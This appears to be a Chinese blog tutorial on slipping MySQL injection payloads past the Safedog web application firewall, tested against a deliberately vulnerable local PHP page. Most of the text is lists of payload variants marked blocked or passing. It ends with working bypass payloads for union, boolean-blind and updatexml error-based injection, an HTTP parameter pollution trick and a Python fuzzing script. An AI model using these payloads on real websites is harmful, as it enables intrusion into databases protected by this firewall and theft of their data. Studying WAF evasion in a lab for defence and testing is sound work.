聯合注入過狗
其實我們過這些waf
就是進行正則的繞過,因為這種通用型的waf
,需要考慮到用戶體驗,它不能出現什么東西就直接進行攔截。如果繞過我們需要具備對mysql各個函數,語法,特性的熟悉,然后通過不斷的fuzz來測試出我們想要的payload
每個狗的版本不同,它的正則也是不同的,所以有的payload在最新版可以用,在老版本就可能用不上,當你的知識量有一定積累后,繞過waf或許就很簡單
如何快速地提升自己的這些知識,多看文章,多看官方手冊
實驗環境
windows10 phpstudy2018 安全狗v4.023137
注意這里安全狗的版本跟原文中不一致
test.php
代碼跟之前一樣
<?php
if($_GET['id']){
$id= $_GET['id'];
$conn = mysql_connect('127.0.0.1','root','root');
mysql_select_db('sqlvul',$conn);
$sql = "select * from user where id=$id";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "id: ".$row['id']."</br>";
echo "username: ".$row['username']."</br>";
echo "password: ".$row['password']."</br>";
}
mysql_close($conn);
echo "</br>"."sql :".$sql;
}else{
echo "id,get,懂?";
}
?>
探索 and
我們首先來探索簡單的語句 and 1=1
http://127.0.0.1/test.php?id=1%20and%201=1
簡單變形
and 1 攔截
and '1' 攔截
and a 不攔截
and 'a' 攔截
and ! 攔截
and 1+1 攔截
and 1+a 攔截
and hex(1) 攔截
and ord("a") 不攔截
我們有兩個思路:
- 用其他字符替換 and 或者 or
- 帶入的不是字符串和數字型,帶入特殊字符或者特殊函數
針對第一種我們可以看看運算符號,隨便找到幾個
| ^ xor & / * && ||
等等
mysql> select '1'|1;
+-------+
| '1'|1 |
+-------+
| 1 |
+-------+
1 row in set (0.03 sec)
mysql> select '1'&1;
+-------+
| '1'&1 |
+-------+
| 1 |
+-------+
1 row in set (0.00 sec)
mysql> select '1'^1;
+-------+
| '1'^1 |
+-------+
| 0 |
+-------+
1 row in set (0.00 sec)
這里簡單使用與,或,異或組合結果,從此處出發我們通過運算符來改變ID的值,查看頁面是否變化,進而注入
mysql> select * from user;
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 4 | 3test | 11 |
| 1 | 1test | 11 |
| 3 | admin'111 | 11 |
| 5 | admin | admin |
+------+-----------+----------+
4 rows in set (0.00 sec)
mysql> select * from user where id='1'|2-- +';
-> ;
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 3 | admin'111 | 11 |
+------+-----------+----------+
1 row in set (0.00 sec)
mysql> select * from user where id='1'|1-- +';
-> ;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | 1test | 11 |
+------+----------+----------+
1 row in set (0.00 sec)
mysql
自動轉換和或運算組合得到了上述結果
不過經過測試上述方法已經失效了,同時&& true
也失效了
直接硬剛and
吧
修改了一下payload
,發現這樣是可以的
?id=1 and ord("a")-96
?id=1 and ord("a")-97
類似於and 1=1
的效果,用來判斷是否存在注入
原文中的
and ~1>1
and hex(1)>-1
and hex(1)>~1
也已經失效
探索 union select
內聯注釋繞過
這種方法經久不衰
union 不攔截
select 不攔截
union select 攔截
union 各種字符 select 攔截
union%20%a0select 攔截
union/*select*/ 不攔截
經過簡單的測試,我們發現安全狗還是認識我們的注釋符號,所以我們需要利用注釋符號來繞過安全狗
我們主要使用的是 內聯注釋 /*!/*!*/
原文中的方式在該版本中都被攔截
http://192.168.59.129/Less-1/?id=1' union/*!/*!50000select*/ 1,2,3--+
http://192.168.59.129/Less-1/?id=1' union/*!/*!5select*/ 1,2,3--+
這里給出一個不被攔截的payload
/*!union/*/*/*%00select*/%201,2,3--+
下一篇博客會給出使用FUZZ
和垃圾數據填充方式注入繞過waf的方法
原文中給出的payload
當時不攔截的原因是因為50000是它的版本號,你多一位少一位語句是不能正常執行的,所以它放行了,我們可以使用burp來遍歷這個值,得到我們想要的payload
這里bypass的核心在於版本號,然后你就感覺fuzz了千種姿勢,但是核心還是這個
注釋繞過
聯想注釋我們還知道有 -- #
,那么它們可以利用嗎,當然是肯定的,其實很久以前就有大佬發過這個語句
union %23%0aselect
因為%23
是單行注釋,而%0a
是換行的url編碼
但是這樣已經被加入規則庫了,我們在此基礎上進行分析
union %23%0aselect 攔截
union %23select 攔截
union a%23 select 攔截
union all%23 select 攔截
union all%23%0a select 攔截
union %23%0aall select 攔截
原文中的payload
都已經被攔截了
這里的思路是在基礎payload上左右加字符fuzz過waf
在原文的基礎上變形得到過waf payload
,這里是內聯注釋加單行注釋組合
union%20%23%0aall%20/!*select*/
-- 注釋繞過
最初的姿勢是-- %0a
,當然已經被加入全國聯保豪華午餐,我們繼續在原payload的基礎上進行變形
union all -- %0a select 攔截
union -- ()%0a select 攔截
union -- 1%0a select 攔截
union -- hex()%0a select 攔截
原文中的payload一如既往被全部攔截了
我們繼續在此基礎上變形
union%20%20--%20/*#*/%0aord()%0a%20select
老生常談hpp 被人遺忘的手法
前面說過/**/
里面的內容安全狗基本不管了,那么我們用hpp參數污染來進行繞過,造成這個手法的原因是 web server對參數的解析問題,在php/apache中,它總解析最后一個id
?id=-1' /*&id='union select 1,user(),3 -- +*/
注入
既然繞過了union select
,那么注入就簡單了,首先來看個user()
,因為該函數是被攔截的,所以我們需要簡單的繞過
user() 攔截
user/**/() 攔截
user/**/(/**/) 攔截
hex(user/**/(/**/)) 攔截
cl4y
師傅博客里的payload
也已經被攔截
/*!USER/*!/*/**/*/()/**/
不過在本地mysql命令行上測試該payload
無效,或許是我操作的問題
mysql> select /*!USER/*!/*/**/*/()/**/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
在原來的基礎上進行變形,使用該payload
/*!USER*/(/*/**/)
mysql> select /*!USER*/(/*/**/);
+----------------+
| USER( ) |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
其實就是一個不斷fuzz
的過程
接着就是爆庫名,當然這個payload也被攔截了,這里就不再手動進行分析了,放在下一篇博客中進行繞過
union -- hex()%0a select 1,schema_name,3 from
information_schema.schemata limit 1,1
接下來的流傳都差不多了 關鍵點就是在於 from 后面這塊 后面的我以這個 information_schema.schemata
為例展示幾種思路可能有的不能過
`information_schema`.schemata
`information_schema`.`schemata`
information_schema.`schemata`
(information_schema.schemata)
information_schema/**/.schemata
延時過狗
盲注過狗相對聯合注入來說,感覺上是更簡單,我們先來試試時間盲注,比布爾稍微靈活一些
if(1,1,1) 不攔截
a if(1,1,1) 不攔截
and if(1,1,1) 攔截
| if(1,1,1) 攔截
|| if(1,1,1) 攔截
&& if(1,1,1) 攔截
/*!and*/ if(1,1,1) 攔截
/*!11440and*/ if(1,1,1) 不攔截
andaif(1,1,1) 不攔截
通過上面的測試,我們其實可以很簡單的看出來,它是攔截的xx if 這個語句,其中xx為 and 和 or 這兩個詞有點敏感,但是繞過還是可以的
通過上一章的測試語句,發現版本為 11440 的內聯注釋直接放行,后面也可以直接通過該方法注入,但我們這一章嘗試不適用內聯注釋繞過
查閱烏雲知識庫發現一個小知識點 and!!!1=1
,and后面可以接上奇數個特殊字符,包括但不限於! ~ & -
,其他的我們還可以自己測試,根據此知識點構造payload
and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)
不過好像這payload
也不太好使
and!~!&&&&&~!!if(1,1,1)
同樣也會被攔截
布爾過狗
布爾注入過狗只能說是相當來說最簡單的吧,因為可以不適用條件語句,少了一個繞過點
and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)='r' 攔截
and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r 攔截
and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=1 攔截
現在也已經加入套餐
另外我們可以嘗試把 and 換成 &&
and substr((select hex(user/**/(/*!*/))),1,1)>1 攔截
/*!and*/ substr((select hex(user/**/(/*!*/))),1,1)>1 攔截
%26%26 substr((select hex(user/**/(/*!*/))),1,1)>1 攔截
/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1 攔截
當然這些也被攔截了,嘔
fuzz一個可用payload
重新fuzz
一個可用的bool payload
先fuzz
一個基礎payload
/*!and*//*/**/1=1
結合這個payload
/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1
原來這個payload 的效果
組合重構
/*!and*//*/**/substr((select/*/**/hex(user/**/(/*!*/))),1,1)>1
依然被攔截,猜測是user()
函數的原因,把之前過狗的user()
函數拿來組合得到以下payload:
/*!and*//*/**/substr((select/*/**/hex(/*!USER*/(/*/**/))),1,1)>1
/*!and*//*/**/substr((select/*/**/hex(/*!USER*/(/*/**/))),1,1)>999
兩組payload
頁面不同,達到了布爾注入的目的
探索報錯
報錯注入的繞過,感覺很少人提過,不少人繞過也有一定的誤區吧,這里提一提
updatexml 不攔截
updatexml(1,2,3 不攔截
updatexml(1,2) 不攔截
updatexml(1,2,) 不攔截
updatexml(,2,1) 不攔截
updatexml(1,2,!) 攔截
updatexml(1,2,%) 不攔截
updatexml(,2,1,hex()) 攔截
and updatexml(1,2,3 不攔截
updatexml(1,2,3) 攔截
and updatexml(1,2,3) 攔截
這里的updatexml(1,2,%)
與原文中不一樣,沒有被攔截
不過從上面的測試我們也大概知道了,它會判斷updatexml
的完整性,當里面按逗號分割出現3個字符時,就會攔截(雖然不知道為什么有%
的沒有被攔截),當然有個別特殊的字符串它沒過濾
這樣我們在括號里面做手腳的可能性很渺茫,那么我們還有什么辦法呢,可以嘗試把updatexml()
函數分開,或者給 updatexml 加個外套
/*updatexml*/(1,1,1) 不攔截
/*!updatexml*/(1,1,1) 攔截
/*!5000updatexml*/(1,1,1) 不攔截
/*!11440updatexml*/(1,1,1) 不攔截
看來updatexml()
函數我們已經繞過了(確實如此),需要前面加個運算符號了
and /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截
or /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截
/*!and*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截
/*!%26%26*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截
/*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截
/*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截
| /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截
xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截
看來都失效了,組合一下之前的過狗and
,很容易得到
/*!and*//*/**//*!11440updatexml*/(1,1,1)
那么有沒有什么可以包裹它的呢,其實我們查看mysql
手冊找到這么一個符號,開單引號 ASCII 96
1' and
updatexml(1,(select hex(user/**/(/**/))),1)-- +
當然也失效了,不過我們可以學習一下腳本fuzz
的思路
import requests
import urllib
for i in range(0,177):
url = r"http://192.168.130.135/Less-1/?id=1%27%20xor%20{fuzz}updatexml{fuzz}(1,(select hex(user/**/(/**/))),1)--%20+".format(fuzz=urllib.quote(chr(i)))
req = requests.get(url)
if "F6F7" in req.text:
print len(req.text),i,urllib.quote(chr(i))
遍歷字符並一一請求頁面,如果存在回顯,則bypass
成功
文末
腳本只是你的一個思路衍生
安全狗注入bypass
的分析到這里就結束了,后面有空還會接着分析雲鎖,雲盾,D盾,其實如果每個步驟都測試了的,相信很快就能寫出自己的sql bypass safedog tamper